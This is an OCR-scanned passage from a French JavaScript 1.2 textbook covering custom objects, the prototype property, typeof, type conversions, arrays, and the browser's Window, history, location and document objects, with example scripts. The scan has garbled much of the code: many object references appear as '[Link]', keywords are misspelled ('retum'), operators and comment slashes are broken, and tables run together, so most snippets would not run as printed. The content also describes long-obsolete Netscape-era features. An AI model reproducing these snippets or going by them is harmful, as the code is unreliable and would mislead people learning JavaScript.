prévoir cette propriété. Le code suivant illustre cet exemple :

298
JavaScript 1.2

<HTML><HEAD><SCRIPT LANGUAGE= " JavaS cript1.2" >

// Methode de l'objet Individu
function age() {
//
Date du jour
Aujourdhui= new Date()
//
Date de naissance
//
On recupere le jour le mois et l'annee et on cree l'objet
//
Date Naissance
dateJS = this.date_naissance.split('/')
Naissance = new Date(dateJS[2], dateJS[1]-1, dateJS[0])
//
Différence des deux dates en millisecondes divisee
//
par le nombre de millisecondes dans un an !
NombreAnnee = Math, round( ([Link]()
- [Link]())/ (24*60*60*1000*365.25))
retum NombreAnnee
}
//Constructeur de l'objet Individu
function Individu(nom, prenom, date_naissance, mere) {
// Définition des propriétés
[Link] = nom
[Link] = prenom
this.date_naissance = date_naissance
[Link] = mere
//
Définition des methodes
[Link] = age
}
</SCRIPT></HEAD><BODY>
<SCRIPT LANGUAGE="JavaScript1.2">
//Construction de la mere
//(sans préciser de valeur pour sa mere a elle)
bellesoeur = new Individu('Aubert', 'Nathalie', '25/11/68')
//Construction de la fille en précisant belle soeur comme mere
niece = new Individu('Gomez' , 'Clémentine', '3/12/95', bellesoeur)
// Affichage
[Link]('Avant son mariage, la maman de '+ [Link] +'
s\'appelait ' + [Link])
// Et oui, avec le mariage, la mere change de nom...
[Link] = 'Gomez'
[Link]('. Maintenant, elle s\'appelle ' +
[Link] + ' . ' )
[Link]('<BR>Cette annee ' + [Link] + ' a '
+ [Link]() + ' an' + (([Link]() > 1)?'s.':'.'))
</SCRIPT>
</BODY>

Figure 52 - Document [Link]

299
 Programmation HTML et JavaScript

Voici ce que donne le chargement de ce document :

Si tout cela vous paraît compliqué pour l'instant, ne vous affolez pas. Dans un premier
temps au moins, vous pourrez vous contenter d'utiliser des objets prédéfinis, sans définir
de nouvelles classes. On verra que ces objets prédéfinis sont de deux types :
• les objets définis à l'aide des balises HTML, comme les champs de saisie, les ima­
ges... (voir Les objets du browser, page 306) ;
• les objets propres au langage (voir Les classes prédéfinies, page 351), comme
par exemple les objets Math(), Date()...

La propriété prototype
Toutes les classes disponibles en JavaScript (prédéfinies ou définies par l'utilisateur) pos­
sèdent une propriété appelée prototype qui permet d'enrichir la structure d'une classe en
lui ajoutant une nouvelle propriété ou une nouvelle méthode. La syntaxe est la suivante :
Nom_Classe.prototype.Nouvelle_Propriete = Valeur_Par_Defaut

Nom_Classe est soit une classe prédéfinie (Date, Array, Function, String...), soit une
classe définie par l'utilisateur.
Nouvelle_Propriete est le nom de la propriété à ajouter. Cette propriété est également
créée pour les objets déjà instanciés. Si Nouvelle_Propriete est déjà une propriété de
cette classe, cela permet de lui affecter une valeur par défaut.
Valeur_Par_Defaut est la valeur par défaut de la nouvelle propriété ou une référence
vers une fonction, si l'on désire définir une nouvelle méthode.

Supposons qu'une classe Rectangle() ait deux propriétés, longueur et largeur. Si on

décide d'ajouter une propriété couleur à cette classe, cela sera possible grâce à la pro­
priété prototype. Voici un exemple :

<SCRIPT LANGUAGE="JavaScript1.2">
// Définition de la classe Rectangle
function Rectangle(a, b) {
// Propriétés
if (a > b) {
[Link] = a
[Link] = b
} else {

300
JavaScript 1.2

[Link] = b
[Link] = a
}
}
// Création d'un objet
MonRectangle = new Rectangle(3,4)
// Modification de la classe Rectangle
// Ajout de la propriété couleur avec noir
// comme valeur par défaut
[Link] = 'noir'
/ / O n affiche la couleur de MonRectangle
[Link]('La couleur de mon rectangle est ' +
[Link] +'.<BR>')
/ / O n cree un nouveau rectangle
SonRectangle = new Rectangle(10,10)
[Link] = 'blanc'
/ / O n affiche la couleur de SonRectangle
[Link]('La couleur de son rectangle est ' +
[Link] + '.<BR>')
</SCRIPT>

Pour un autre exemple d'utilisation de la propriété prototype, consultez la page 356.

La fonction typeof
La fonction typeof permet, comme son nom l'indique, de connaître le type d'une entité
JavaScript. La syntaxe est la suivante :

typeof (entite)

Cette fonction retourne une chaîne de caractères indiquant le type de l'entité passée en
paramètre. Voici quelques exemples :
typeof ('bonjour') retourne string
typeof (3.14) retourne number
typeof (false) retourne boolean
typeof (nimportequoi) retourne undefined

Cette fonction peut évidemment être utilisée avec, en paramètres, des variables ou des
propriétés d'objet. Supposons qu'on ait défini les variables suivantes (et que la classe
Individu soit définie comme dans l'exemple de la figure 52, page 299) :
var chaine = 'bonjour'
var nombre = 3.14
var jour = new Date()
var niece = new Individu('Clémentine', 'Gomez', '3/12/95')

301
 Programmation HTML et JavaScript

On obtient alors :

typeof (chaine) qui retourne string

typeof (nombre) qui retourne number
typeof (jour) qui retourne object
typeof (niece) qui retourne object
typeof (Individu) qui retourne function
typeof ([Link]) qui retourne function

Les conversions entre types

Le tableau suivant explique comment JavaScript gère les conversions d'un type à un
autre. Il faut noter que dans la plupart des cas, les conversions sont faites de façon impli­
cite par JavaScript. Il existe en fait une seule méthode pour la conversion explicite des
objets en chaîne de caractères, la méthode toString().

Converti en Nombre Booléen Chaîne

Fonction Erreur Erreur Retourne le code définissant
la fonction
Objet non nul Erreur true Retourne le contenu de
l'objet sous forme littérale
0 false 'null'
objet nul (null)
Nombre différent de 0 - true Renvoie une chaîne repré­
sentant le nombre
Nombre nul (0) - false '0'
NaN (Not a Number) true 'NaN'
-
(ex: 1/0)
Booléen true 1 - 'true'
Booléen false 0 - 'false'
Chaîne non nulle A l'aide des fonctions pré­ true
-
définies eval, parseInt et
parseFloat. Le résultat est
soit un nombre, soit NaN si
la chaîne ne représente pas
un nombre (NaN signifie
Not a Number)
Chaîne nulle ('') Erreur false -

On trouvera quelques exemples de conversion dans la figure 53, page 303.

302
JavaScript 1.2

<HTML>
<BODY>
<SCRIPT LANGUAGE="JavaScript1.2">
/ / O n définit quelques entites
function Rien() {
return 'au revoir...'
}
var nombre = 7
var chaine = '10'
var booleen = true
/ / O n provoque quelques conversions
document .write ('Conversion Chaine->Nombre->Chaine: ' +
(nombre + parseInt(chaine)) + '<BR>')
[Link]('Conversion Nombre->Chaine:' + nombre +
chaine + '<BR>')
[Link]('Conversion Booleen->Chaine:' + booleen + '<BR>')
[Link]('Conversion Fonction->Chaine:' + Rien + '<BR>')
[Link]('Conversion Objet->Chaine:' + navigator + '<BR>')
[Link]('Conversion Booleen->Nombre->Chaine:' +
(booleen + nombre) + '<BR>')
</SCRIPT>
</BODY>
</HTML>

Figure 53 - Document [Link]

Les tableaux
JavaScript offre la possibilité de créer des variables capables de stocker plusieurs
valeurs. De telles variables sont appelées des tableaux. A chaque valeur stockée dans une
telle variable est associée un index numérique qui permet ensuite d'accéder simplement à

303
 Programmation HTML et JavaScript

la valeur souhaitée (chaque valeur est en fait numérotée). Ainsi, si la variable s'appelle
Tab, la valeur associée à l'index 3 sera atteinte par Tab[3]. La première valeur de l'index
est 0. La déclaration d'un tableau se fait à l'aide du constructeur Array(). La syntaxe de
ce constructeur est très simple.
On peut construire un tableau sans préciser le contenu :
var Tab = new Array()

On peut initialiser le tableau lors de sa création. Dans la syntaxe suivante, les valeurs
Valeur 1 à ValeurN correspondent respectivement aux index 0 à N-l :
var Tab = new Array(Valeur1ValeurN)

Tout tableau possède la propriété length qui indique sa taille, c'est-à-dire la valeur de
l'index le plus grand plus un. Les tableaux JavaScript sont dynamiques, ce qui signifie
que leur taille peut être augmentée à tout moment, en utilisant un index supérieur ou égal
à la valeur de la propriété length.

Voici quelques exemples de déclarations de tableaux :

// Déclaration d'un tableau sans préciser la taille
var Tab_un = new Array()
Tab_un[0] = 'début'
Tab_un[2] = 'fin'
/ / L a ligne suivante affiche 'Voici la taille de ce tableau: 3'
[Link]('Voici la taille de ce tableau: ' + Tab_un.length)

// Déclaration en précisant la taille

var Tab_deux = new Array(3)
Tab_un[0] = 'début'
Tab_un[l] = 'milieu'
Tab_un[2] = 'fin'

// Déclaration avec affection des valeurs, le résultat est le même que

// dans la déclaration précédente
var Tab_trois = new Array( 'début', 'milieu', 'fin')

On verra par la suite (page 361) que les tableaux sont en fait gérés comme des objets
JavaScript, et ainsi possèdent des propriétés et des méthodes.

Pour aller plus loin avec les tableaux

En général, l'index d'un tableau est un entier, mais il peut aussi être une chaîne de carac­
tères. Dans ce cas, le tableau est dit associatif (chaque valeur est nommée). Voici un
court exemple :

// Création d'un tableau associatif

var Tableau = new Array()
/ / L e permier index est la chaîne 'nom'

304
JavaScript 1.2

Tableau['nom'] = 'aubert'
// le second index est la chaîne 'prenom'
Tableau['Prenom'] = 'christelle'

Il est intéressant de remarquer qu'on arrive à un résultat proche d'un objet qui aurait
deux propriétés, nom et prenom. En effet, la frontière entre objets et tableaux est assez
fine. En particulier, il est toujours possible d'accéder à la propriété d'un objet en considé­
rant ce dernier comme un tableau associatif. Ainsi, si un objet a une propriété qui
s'appelle nom, on pourra accéder à cette propriété soit par la syntaxe [Link], soit par
la syntaxe objet['nom']. Cette dernière syntaxe, qui a priori n'a pas d'intérêt, s'avère
très utile lorsqu'on désire, par exemple, parcourir les valeurs de toutes les propriétés d'un
objet. En effet, en associant cette syntaxe à l'instruction for...in (page 384), qui permet
d'obtenir une variable qui contient successivement l'ensemble des noms des propriétés
d'un objet, on peut facilement faire ce genre de choses. Voici un exemple de code qui
permet de visualiser l'ensemble des propriétés de l'objet prédéfini window et les valeurs
de chacune de ces propriétés :

<SCRIPT LANGUAGE="JavaScript1.2">
for (prop in window) {
// prop est une chaîne de caractères qui contient
// successivement le nom de chacune des propriétés
[Link]('window.' + prop + ' = '
+ window[prop] + '<BR>')
}
</SCRIPT>

Figure 54 - Document [Link]

305
 Programmation HTML et JavaScript

Les objets du browser

Lors du démarrage d'un browser, JavaScript instancie automatiquement un certain nom­
bre d'objets. Ces objets sont particulièrement utiles car ils permettent d'accéder à des
informations concernant le browser utilisé (Netscape, Internet Explorer...), les docu­
ments HTML affichés ou encore l'écran de la machine. Bien souvent, les applications
JavaScript que vous écrirez se contenteront d'utiliser ces objets sans avoir à en définir ni
à en instancier de nouveaux. De cette façon, vous pourrez agir sur l'état du browser et
des documents HTML affichés.
Les objets de base instanciés lors du lancement d'un browser appartiennent à trois clas­
ses différentes :
• La classe Window : il s'agit d'une classe assez complexe destinée à modéliser les
zones capables de contenir un document HTML (une zone capable de contenir un
document HTML est soit une fenêtre de browser, soit une frame si la fenêtre est
découpée en frames). JavaScript instancie automatiquement un objet Window
pour chaque fenêtre du browser et pour chaque frame. Grâce aux nombreuses pro­
priétés de ces objets, on pourra agir sur les fenêtres du browser et les frames et
surtout accéder à tous les objets créés à l'aide de balises HTML (liens, formulai­
res, champs de saisie, images...) ;
• La classe Navigator : cette classe est un peu particulière. Elle ne possède qu'une
seule instance, l'objet navigator. Cet objet contient des informations propres au
type de browser utilisé (nom, version, plug-ins installés...) ;
• La classe Screen : comme la précédente, cette classe ne possède qu'une seule ins­
tance, l'objet screen. Cet objet contient tout un lot d'informations concernant les
caractéristiques de l'affichage de la machine sur laquelle fonctionne le browser
(largeur et hauteur en pixels, nombre de couleurs disponibles...).

La classe Window
Pour chaque zone pouvant recevoir un document HTML, JavaScript instancie automati­
quement un objet de la classe Window. Il y a donc un objet Window pour chaque fenêtre
du browser ouverte, ainsi qu'un objet pour chaque frame. L'objet Window associé à une
zone possède en particulier les informations suivantes :
• L'ensemble des URL déjà visitées dans cette zone (propriété history) ;
• Les caractéristiques de l'URL contenue dans la zone (propriété location) ;
• Et surtout toutes les caractéristiques du document HTML affiché dans cette zone,
avec la possibilité d'accéder à tous les objets définis dans ce document (propriété
document).

306
JavaScript 1.2

Les références aux objets Window

Nous avons vu que JavaScript instanciait automatiquement des objets Window. Voyons
maintenant comment il est possible d'accéder à ces objets c'est-à-dire de les référencer.
Il existe principalement trois façons de faire référence aux objets Window instanciés :
• Le mot-clé window : il s'agit de la méthode la plus classique. Lorsqu'on insère un
script JavaScript dans un document, on a souvent besoin d'avoir des informations
ou d'agir sur la zone qui va contenir ce document. Pour référencer l'objet Win­
dow correspondant, on utilise tout simplement le mot-clé window. Lorsque, dans
un script, on utilise ce mot-clé, on fait donc référence à la zone qui contient le
document. Le mot-clé window peut être omis ; la référence est alors implicite.
Cependant, pour des questions de lisibilité, il est conseillé de l'utiliser. Exemple :
[Link]='black'

• Les propriétés qui référencent des objets Window : de nombreux objets ont des
propriétés qui référencent un objet Window. Par exemple, dans un document con­
tenu dans une frame, le mot-clé window est une référence à cette frame et win-
[Link] est une référence vers l'objet Window associé à la zone couvrant la
totalité de la surface du browser. De la même façon, lorsqu'une frame possède un
nom (attribut NAME de la balise <FRAME>), ce nom devient une propriété de
l'objet Window contenant le document où est décrit la division en frames (voir
figure 58, page 319). Exemple :
[Link]=' black '

• Les variables contenant une référence vers un objet Window : la méthode open()
des objets Window, qui permet d'ouvrir une nouvelle fenêtre de browser, retourne
une référence vers l'objet Window associé à la fenêtre ainsi créée. Cette référence
peut être stockée dans une variable. L'accès aux propriétés et méthodes de cet
objet Window se fait alors par son intermédiaire. Exemple :
varRefWin = [Link]('[Link]','test')
[Link]='black'

Dans toute la suite, la notation windowRef sera une notation générique pour décrire l'un
des types de références ci-dessus.

Les propriétés de la classe Window

Les objets Window possèdent de nombreuses propriétés. Certaines sont de simples chaî­
nes de caractères, comme la propriété status, qui permet de changer le contenu du texte
affiché dans la barre d'état en bas du browser. D'autres sont elles-même des objets com­
plexes, comme la propriété document, très utilisée car elle permet d'accéder à l'ensemble
des informations concernant le document HTML affiché dans la zone qu'on considère.
Dans les explications qui suivent, on confond volontairement la référence vers l'objet
Window, windowRef et la zone, frame ou browser, décrite par cet objet.

307
 Programmation HTML et JavaScript

innerHeight
Syntaxe :
[Link]
Cette propriété indique la hauteur utile (c'est-à-dire sans prendre en compte le cadre de la
fenêtre et les barres de menu) de la zone windowRef. Pour des raisons de sécurité, afin
diminuer la hauteur utile d'une fenêtre en dessous de 100 pixels, cette propriété doit être
utilisée dans un script signé.

innerWidth
Syntaxe :
[Link]
Cette propriété indique la largeur utile (c'est-à-dire sans prendre en compte le cadre de la
fenêtre et les barres de menu) de la zone windowRef. Pour des raisons de sécurité, afin
diminuer la largeur utile d'une fenêtre en dessous de 100 pixels, cette propriété doit être
utilisée dans un script signé.

outerHeight
Syntaxe :
[Link]
Cette propriété indique la hauteur totale de la zone windowRef. Pour des raisons de sécu­
rité, afin de diminuer la hauteur d'une fenêtre en dessous de 100 pixels, cette propriété
doit être utilisée dans un script signé.

outerWidth
Syntaxe :
[Link]
Cette propriété indique la largeur totale de la zone windowRef. Pour des raisons de sécu­
rité, afin de diminuer la largeur d'une fenêtre en dessous de 100 pixels, cette propriété
doit être utilisée dans un script signé.

pageXOffset
Syntaxe :
[Link]
Cette propriété indique de combien de pixels le document a été horizontalement déplacé
dans la zone. Ce déplacement correspond soit à une utilisation des barres de défilement
(scrollbar en anglais), soit à une utilisation des méthodes scrollTo() ou scrollBy().

pageYOffset
Syntaxe :
[Link]
Cette propriété indique de combien de pixels le document a été verticalement déplacé
dans la zone. Ce déplacement correspond soit à une utilisation des barres de défilement
(scrollbar en anglais), soit à une utilisation des méthodes scrollTo() ou scrollBy().

308
JavaScript 1.2

screenX
Syntaxe :
[Link]
Cette propriété indique le nombre de pixels entre le bord gauche de la fenêtre et le bord
gauche de l'écran.

screenY
Syntaxe :
[Link]
Cette propriété indique le nombre de pixels entre le haut de la fenêtre et le haut de
l'écran.

les barres
Syntaxe :
windowRef.nom_barre.visible = true ou false
Cette propriété est un booléen qui permet de rendre visibles ou invisibles les différentes
barres du browser, nom_bar peut prendre les valeurs suivantes : locationbar, menubar.
personalbar, scrollbars, statusbar, toolbar. Cependant, pour des raisons de sécurité, la
modification de l'état de certaines barres nécessite d'être faite à partir de scripts signés.

defaultStatus
Syntaxe :
[Link]
Cette propriété est une simple chaîne de caractères qui permet de préciser la valeur par
défaut du texte à afficher dans la barre d'état, en bas du browser, lorsque la souris est sur
le fond de la zone windowRef (et non sur un lien hypertexte, auquel cas la barre d'état
indique l'URL pointée par ce lien). A l'origine, cette chaîne est vide, si bien que
lorsqu'on n'est pas sur un lien hypertexte, la barre d'état est vide. Un exemple est pro­
posé avec la description la propriété status, ci-dessous.

status
Syntaxe :
[Link]
Cette propriété est une simple chaîne de caractères qui permet de préciser la valeur du
texte à afficher dans la barre d'état à un instant donné. Dès que la souris sera déplacée et
retournera sur le fond de la fenêtre, cette chaîne sera remplacée par la chaîne contenue
dans la propriété defaultStatus. Cette propriété est utilisée en association avec le gestion­
naire d'événement onMouseOver, lorsqu'on souhaite que la barre d'état affiche autre
chose que l'URL quand la souris est sur un lien hypertexte. Attention : dans ce dernier
cas, il faut que le code JavaScript associé à l'attribut de balise onMouseOver retourne la
valeur true.
Exemple:
<HEAD><SCRIPT LANGUAGE="JavaScript1 . 2 " >
[Link] = 'Dans le fond, ce n\'est pas si mal...'

309
 Programmation HTML et JavaScript

</SCRIPT></HEAD>
<BODY BGCOLOR=FFFFFF>
Ce qui compte dans ce document, c'est le fond. . .<BR>
Mais vous pouvez aussi glisser la souris par
<A HREF="[Link]" onMouseover="[Link]='Ici, ce n\'est
pas mal non plus ! ! ! ' ; return true">
ici.</A>
</BODY>

Figure 55 - Les propriétés defaulfStatus et status

closed
Syntaxe :
[Link]
Cette propriété est un booléen qui indique si la fenêtre du browser qui contient la zone
windowRef a été fermée ou non. Une fenêtre peut être fermée en utilisant soit la méthode
close(), soit les facilités du gestionnaire de fenêtres du système d'exploitation (sous Win­
dow 95, on peut par exemple fermer une fenêtre en cliquant sur la petite icône en forme
de croix, en haut à droite). On utilisera cette propriété avant de fermer une fenêtre, afin
de s'assurer qu'elle n'est pas déjà fermée (voir close, page 322).

history
Syntaxe :
[Link]
Cette propriété est un objet qui permet de simuler ce qu'on peut faire avec les boutons
Suivant et Précédent du browser (Next et Back en anglais). On peut ainsi avancer ou

310
JavaScript 1.2

reculer dans l'historique des documents déjà visités dans la zone windowRef, à l'aide de
trois méthodes différentes.

Méthode Description

back() Revient en arrière d'un document dans l'historique. Equivalent du

bouton Précédent.

forward() Avance d'un document dans l'historique. Equivalent du bouton

Suivant.

go(entier) Si le paramètre est un entier positif, avance de entier documents

ou dans l'historique.
go(chaine) Si le paramètre est un entier négatif, recule de entier documents
dans l'historique.
Si entier vaut 0, recharge le document courant.
Si le paramètre est une chaîne de caractères, se positionne sur le
document de l'historique dont l'URL contient cette chaîne.

Par exemple, [Link](-3) fait un retour en arrière de trois documents dans

l'historique. [Link](4) provoque une avancée de quatre documents, his-
[Link](0) recharge le document courant. [Link]('[Link]') recherche dans
l'historique un document dont l'URL contient la chaîne '[Link]'.

En utilisant l'objet history, il est par exemple très simple de créer un lien hypertexte pour
retourner au document précédent. Voici le code correspondant :

<A HREF="JavaScript:[Link]( )">

Retour à la page précédente</A>

location
Syntaxe :
[Link]
La propriété location contient des informations sur l'URL contenue dans la zone win­
dowRef. Cette propriété est en fait un objet avec six propriétés et deux méthodes.

Propriétés Description

href chaîne de caractères contenant la totalité de l'URL. Cette pro­

priété est très utile pour indiquer une URL qu'on souhaite char­
ger dans une fenêtre. Par exemple :
[Link]='http://
[Link]'

chargera l'URL [Link] dans la fenêtre windowRef.

311
 Programmation HTML et JavaScript

.... ....
Propriétés Description

hash Partie de l'URL située après le caractère #.

host Nom du serveur et port de connexion.
hostname Nom du serveur (ou adresse IP si la machine n'a pas de nom).
pathname Chaîne située après le nom d'un script CGI et avant un carac­
tère ?.
port Numéro du port de connexion sur le serveur.
protocol Nom du protocole lors du dialogue avec le serveur (http ,ftp
JavaScript, wais...).
search Partie de l'URL située après un caractère ?.

La propriété la plus utile est sans aucun doute href.

Les méthodes de la propriété location sont les suivantes :

Méthodes Description

reload() Recharge le document courant, de la même façon que la com­

mande [Link](0).
replace(URL) Remplace l'entrée courante de l'historique des documents visi­
tés par l'URL passée en paramètre.

opener
Syntaxe :
[Link]
Cette propriété n'a de sens que pour les fenêtres qui ont été ouvertes à l'aide de la
méthode open() (voir page 320). Dans ce cas, elle fait référence à la fenêtre à partir de
laquelle la méthode open() a été appelée. Elle permet donc de connaître la fenêtre à partir
de laquelle a été créée la fenêtre décrite par l'objet windowRef.

frames
Syntaxe :
windowRef. frames
La propriété frames est un tableau d'objets Window référençant les frames contenues
dans la zone windowRef. Si la zone windowRef n'est pas découpée en frames, ce tableau
est vide (autrement dit [Link] vaut 0). Si la zone windowRef est

312
JavaScript 1.2

découpée en frames, les informations propres à chaque frame sont contenues dans les
objets Window [Link][0], windowRef frames[1], etc.
Notez cependant que si vous avez pris la précaution de nommer vos frames, vous pourrez
remplacer avantageusement les frames[0], frame[1] etc., par le nom de la frame à réfé­
rencer. Effectivement, lorsque vous nommez une, frame, son nom devient une propriété
de l'objet Window associé au document dans lequel vous avez créé cette frame (voir la
figure 58).

parent
Syntaxe :
[Link]
Lorsque le browser est découpé en frames et que la zone windowRef correspond à une
frame, windowRef parent fait référence à la zone qui contient le document décrivant cette
frame, c'est-à-dire le document contenant la balise <FRAME> associée à cette frame. En
tant que référence vers une fenêtre, cette propriété est un objet Window (voir la
figure 58).

top
Syntaxe :
[Link]
Lorsque le browser est découpé en frames et que la zone windowRef correspond à une
frame, windowRef top fait référence à la zone couvrant la totalité de la surface du brow­
ser. En tant que référence vers une fenêtre, cette propriété est un objet Window.

document
Syntaxe :
windowRef. document
Cette propriété est la plus intéressante et la plus utilisée, car elle permet d'accéder à
l'ensemble des informations concernant le document HTML affiché dans la zone win­
dowRef. Par exemple, le titre du document HTML pourra être obtenu en utilisant la pro­
priété [Link]. Afin de pouvoir modéliser la structure des documents
HTML, la propriété document possède elle-même de nombreuses propriétés. Voici une
rapide description des plus complexes d'entre elles :
• La propriété forms est un tableau d'objets contenant toutes les informations sur les
formulaires du document HTML. Le premier formulaire de la page sera décrit par
l'objet forms[0], le deuxième par l'objet forms[1], etc. Si, dans le premier formulaire,
il existe un champ texte dont l'attribut NAME vaut 'nom', alors il sera possible
d'accéder à la valeur de ce champ par [Link][0].[Link].
Notez que si vous avez utilisé l'attribut NAME de la balise <FORM> et que cet attri­
but vaut 'nomformulaire', vous pourrez remplacer forms[0] par le nom du formu­
laire. On accédera alors à la valeur du champ texte 'nom' par
[Link], plutôt qu'en utilisant le tableau
forms. Cette notation est conseillée car beaucoup plus lisible.
• La propriété images est un tableau d'objets contenant toutes les informations sur les

313
 Programmation HTML et JavaScript

images du document HTML. Comme précédemment, nous vous conseillons d'utili­

ser de préférence l'attribut NAME de la balise <IMG> afin de pouvoir accéder aux
images directement par leur nom.
• La propriété links est un tableau d'objets contenant toutes les informations sur les
liens (hypertexte et images cliquables) du document.
• La propriété layers est un tableau d'objets contenant toutes les couches définies dans
le document à l'aide des balises <LAYER> ou <ILAYER>. La première couche est
accessible par layers[0], la deuxième par layers[1], etc. Comme pour les tableaux
forms[] ou images[], il est conseillé de nommer les couches à l'aide de l'attribut ID
des balises <LAYER> ou <ILAYER>. Ainsi, il sera possible d'accéder à une couche
directement à l'aide de son nom (qui sera devenu une propriété de l'objet document).
Notez que, parmi les propriétés des objets layer, une propriété document décrit le
document contenu dans la couche. Cette propriété est en tout point identique à la pro­
priété document des objets Window que nous sommes en train de décrire ici-même.
En particulier, dans le cas de couches imbriquées, elle contiendra à son tour un
tableau layers[]. Analysons un court exemple destiné à illustrer ce point. Dans cet
exemple, on affiche une question et trois réponses possibles. Chaque réponse est con­
tenue dans une couche et l'ensemble de la question et des trois réponses est lui-même
contenu dans une couche. On a donc une couche principale appelée question et trois
sous-couches appelées reponse1, reponse2 et reponse3. Pour atteindre la couche
question, on utilise la syntaxe [Link] (mais on pourrait utiliser la
syntaxe [Link][0]). Pour atteindre la couche reponse1 définie dans
le document contenu dans la couche question, on utilise la syntaxe [Link]­
[Link].reponse1. Dans l'exemple, lorsqu'on appuie sur le lien
'Réponse', le fond de la couche question devient rouge et la bonne réponse devient
verte.

D'après vous...<BR>
<ILAYER ID=question>
Quel est le plus grand ?
<ILAYER ID=reponse1>15*15</ILAYER> -
<ILAYER ID=reponse2>13*16</ILAYER> -
<ILAYER ID=reponse3>12*17</ILAYER>
</ILAYER>
<BR>
<A HREF=""
onClick= "[Link]='red' ;
[Link]='lightgreen' ;
return false">
Réponse</A>

Figure 56 - Fichier [Link]

314
JavaScript 1.2

Le détail complet des propriétés de l'objet document est fourni lors de la présentation des
balises <BODY>, <IMG>, <LAYER>, <A> et <AREA>, car ses propriétés sont très
intimement liées à l'utilisation de ces balises.
Voici cependant un petit exemple où nous énumérons quelques propriétés de l'objet
document associé à un document HTML très simple.

Document HTML Propriétés de l'objet document (et leurs valeurs)

<HTML> [Link]='Le browser'
<HEAD><TITLE>Le Browser [Link] = #'FFFFFF'
</TITLE><HEAD> [Link][0]
<BODY BGCOLOR="#FFFFFF"> [Link][0].action='[Link]
<FORM ACTION="/cgi-bin/script"
script'
NAME="monformulaire">
[Link][0].nom
Entrez votre nom:
<INPUT TYPE="TEXT" [Link][0].[Link] = 'Johnny'
NAME="nom" [Link][0|.[Link] = 'text'
VALUE="Johnny"> [Link][0].BoutonEnvoi
<BR> [Link][0].[Link] = 'Envoyer'
<INPUT TYPE="SUBMIT" [Link][0].[Link] = 'submit'
V ALUE="Envoyer"
NAME= "BoutonEnvoi">
Notez que forms[0] peut être remplacé par le nom du formu­
</FORM>
<SCRIPT LANGUAGE="JavaScript1,2"> laire, soit monformulaire. Par exemple :
// On ouvre un petite fenetre dans laquelle [Link]
on affiche le titre du document [Link]
[Link]([Link]) [Link]
</SCRIPT>
</BODY></HTML>

L'objet document possède également cinq méthodes. Celles-ci n'ayant aucun lien avec
les balises HTML, nous les décrivons ici en détail.

Méthodes Description
write(arg 1 ,...argN ) Écrit les arguments argl à argN dans le document référencé par [Link]­
ment. Ces arguments peuvent être des chaînes de caractères, des entiers, des boo­
léens ou même des objets. Ils sont de toute façon convertis en chaîne de caractères
avant d'être affichés.
Cette méthode permet soit d'insérer dynamiquement, au moment du chargement,
quelques lignes dans un document HTML classique, soit de générer la totalité
d'un document HTML, sans faire de requête au serveur.
writeln(arg1,...argN) A le même effet que write(), si ce n'est qu'elle rajoute un caractère de retour à la
ligne après avoir affiché ses arguments (ce retour à la ligne n'est pas interprété par
HTML).
open() Vide le document [Link] et crée en quelque sorte un nouveau
document dans lequel il va être à nouveau possible d'écrire avec les méthodes
write() et writeln( ).
Attention : un appel implicite à cette méthode est réalisé lorsqu'on utilise les
méthodes write() ou writeln() sur un document HTML dont le chargement est
déjà terminé ou sur un document généré en JavaScript et auquel on a déjà appli­
qué la méthode close().

315
 Programmation HTML et JavaScript

Méthodes Description
close() Provoque l'affichage de tout ce qui a été écrit dans le document [Link]-
ment à l'aide des méthodes write() ou writeln(). En fait, cela n'est nécessaire que
lorsqu'on génère la totalité du document HTML en JavaScript, mais pas
lorsqu'on insère des lignes dans un document HTML classique (dans ce cas, un
appel implicite à cette méthode est fait lorsque le chargement du document est ter­
miné).
Attention : il est impossible de rajouter du texte dans un document auquel on a
déjà appliqué la méthode close().
getSelection() Renvoie une chaîne de caractères contenant le texte sélectionné dans le document.

Voici un exemple d'utilisation de la méthode write(). Dans cet exemple, la date est insé­
rée dans le document au moment de son chargement sur le browser. Sans JavaScript, il
faudrait utiliser un script CGI pour arriver au même résultat.

Figure 57 - Document [Link]

Si le document était utilisé le 1/9/97, il correspondrait au code HTML suivant, la partie

en italique représentant le texte généré en JavaScript :

<HTML><body BGCOLOR= " #FFFFFF " >

Aujourd'hui, nous sommes le 1/9/97.
</body></HTML>

Pour illustrer les méthodes open() et close(), voici un exemple un peu plus complexe
dans lequel le browser est divisé en deux/rames. Un document est chargé dans la frame
de gauche et aucun dans celle de droite. Le document chargé à gauche possède deux bou­
tons qui permettent de remplir ou de vider la frame de droite, sans charger de nouveau
document HTML (tout est généré en JavaScript).

Le fichier [Link] permet de diviser le browser en deux frames et de placer le docu­

ment [Link] dans la frame de gauche :

316
JavaScript 1.2

<FRAMESET COLS="*,*">
<FRAME SRC="[Link]"
NAME="gauche">
<FRAME SRC="JavaScript:void(0)"
NAME="droite">
</FRAMESET>

Le fichier [Link] crée un formulaire avec deux boutons dont l'un génère un document
dans la frame de droite et l'autre vide cette frame :

<SCRIPT LANGUAGE="JavaScript1.2">
// Nombre de fois où l'on a cliqué sur le bouton Remplir
var numGen = 1

// Fonction pour générer un nouveau document

function Remplir() {
// Document dans lequel on va écrire,
/ / e n l'occurrence la frame de droite
var TargetDoc = [Link]
[Link]()
[Link]('Génération N°' numGen++, ' <BR><BR>' )
/ / O n écrit un peu de texte
for (i=0;i<10;i++) {
[Link]('On remplit tout ça...'.bold(), '<BR>')
}
/ / O n affiche tout ce qui a été écrit
[Link]()
}

// Fonction pour vider un document

function Vider() {
/ / O n ouvre et on ferme le document de façon
// à le vider de son contenu
var TargetDoc = [Link]
[Link]()
[Link]()
}
</SCRIPT></HEAD>
<BODY>
<FORM>
<INPUT TYPE=BUTTON VALUE=Remplir onClick="Remplir()">
<INPUT TYPE=BUTTON VALUE=Vider onClick="Vider()">
< /FORM>
</BODY>

317
 Programmation HTML et JavaScript

Exemple d'utilisation des propriétés des objets

de la classe Window
Afin d'illustrer l'utilisation des propriétés des objets Window, voici l'exemple très sim­
ple d'un document découpé en frames. Le principal intérêt de cet exemple est de montrer
comment il est possible, à partir d'un document, d'accéder aux objets (variables globa­
les, éléments de formulaires, fonctions...) définis dans un autre document HTML (cet
autre document étant affiché dans une autre frame !).
Dans notre exemple, la frame de gauche contient un bouton permettant d'afficher les
valeurs d'un champ de saisie et d'une variable globale, tous deux définis dans le docu­
ment contenu dans la frame de droite.

318
JavaScript 1.2

Figure 58 - Un document divisé en frames

319
 Programmation HTML et JavaScript

Les méthodes de la classe Window

open
En faisant appel à cette méthode, il est possible d'ouvrir un nouveau browser.
Syntaxe :
ref_win = [Link](URL, nom_fenetre, options)

